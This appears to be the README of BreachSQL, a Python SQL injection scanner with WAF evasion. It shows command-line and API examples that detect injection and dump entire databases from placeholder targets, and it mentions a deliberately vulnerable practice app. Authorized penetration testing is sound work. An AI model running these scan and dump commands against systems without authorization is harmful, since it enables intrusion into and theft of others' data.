breachsql 0.1.7

Context-aware SQL injection scanner with WAF detection and evasion

BreachSQL

Fast SQL injection scanner with built-in exploitation — detect and extract in one command, across all major backends, with WAF evasion baked in. No Java. No license. Drops into a Python pipeline.

# Kali / Debian / Ubuntu — use a virtual env (required on externally-managed Python)
python3 -m venv .venv && source .venv/bin/activate
pip install breachsql

# Scan, exploit, and dump everything — outputs written to 127.0.0.1/
breachsql -u "http://127.0.0.1:17476/challenges/my1/secrets?id=1" --exploit

Point it at a target. Get findings. Drop it in a pipeline.

Why BreachSQL?

• Faster — binary-search boolean extraction, parallel surface probing, no per-request sleep loops
• Detect → exploit in one pass — --exploit dumps every discovered table and writes .txt, .json, and .html outputs to a <host>/ folder automatically; --dump TABLE targets a single table
• Python API — from breachsql.engine import scan, ScanOptions — embed it directly in your own tooling or scripts
• Scan from spec — --openapi imports every endpoint from a Swagger/OpenAPI file and scans them all
• Curated payloads — backed by commonhuman-payloads, an auditable, versioned payload library shared across the toolchain
• Pipeline-native — structured JSON output, clean exit codes, no interactive prompts by default
• Lightweight — pure Python 3.10+, no C extensions, no Java, installs in a venv in seconds

Quick Start

# GET parameter
breachsql -u "https://target.com/item?id=1"

# POST form
breachsql -u "https://target.com/login" -d "username=admin&password=x"

# JSON body
breachsql -u "https://target.com/api/user" -d '{"user_id": 1}'

# Cookie injection
breachsql -u "https://target.com/profile" --cookie "session_id=abc" --cookie-params session_id

# Path parameter
breachsql -u "https://target.com/item/1" --path-params id

# Time-blind with custom threshold
breachsql -u "https://target.com/search?name=x" --technique T --time-threshold 3

# Specific backend and technique
breachsql -u "https://target.com/users?id=1" --dbms mysql --technique E

# Exploit: dump every table, write target.com/{txt,json,html} automatically
breachsql -u "https://target.com/users?id=1" --exploit

# Exploits, and save results to a custom output stem
breachsql -u "https://target.com/users?id=1" --exploit -o results/target

# Full multi-technique scan
breachsql -u "https://target.com/report?id=1" --dbms mysql --technique EBTUS --level 2 --risk 2

# Authenticate before scanning
breachsql -u "https://target.com/app/search?q=test" \
  --login-url "https://target.com/login" \
  --login-user admin --login-pass secret

# Import all endpoints from an OpenAPI / Swagger spec
breachsql -u "https://target.com/" --openapi https://target.com/openapi.json

# Discover JS-rendered endpoints first, then scan everything
breachsql -u "https://target.com/" --browser-crawl --level 2

Techniques

Flag	Technique	Description
E	Error-based	Database errors leak schema/data via malformed syntax
B	Boolean-blind	True/false response differences reveal data bit by bit
T	Time-blind	SLEEP() / pg_sleep() / randomblob() timing confirms injection
U	UNION-based	Column-count probing + data extraction via UNION SELECT
S	Stacked	Semicolon-delimited second statement injection

Combine with --technique EBTUS to run all techniques in a single pass.

Python API

from breachsql.engine import scan, ScanOptions

result = scan(
    "https://target.com/users?id=1",
    ScanOptions(dbms="mysql", technique="E", risk=1),
)

print(f"{result.total_findings} finding(s) in {result.duration_s:.1f}s")
for f in result.error_based:
    print(f"  [{f.technique}] {f.param} — {f.evidence}")

Fire Range

The BreachSQL Fire Range is a deliberately vulnerable Flask + MySQL + PostgreSQL + SQLite app that ships with OctoRig.

# Start the Fire Range (OctoRig required)
./octorig.sh start breachsql

# Run the full end-to-end test suite
pytest tests/test_firerange.py -v

→ Fire Range README

Install from source

git clone https://github.com/CommonHuman-Lab/breachsql.git
cd breachsql
python3 -m venv .venv && source .venv/bin/activate
pip install -e .
pip install -e ".[dev]"   # + pytest, mypy, ruff

Requires Python 3.10+. No C extensions. On Kali and other Debian-based systems, the virtual env is required — system Python is externally managed.

Legal & Ethical Use

Only run BreachSQL against applications you own or have explicit written authorization to test. Authorized use includes penetration testing engagements, bug bounty programs within defined scope, and CTF competitions.

--exploit, --dump, and --dump-all extract live database content — only use them where data extraction is explicitly permitted by your engagement scope.

The authors accept no liability for unauthorized or illegal use.
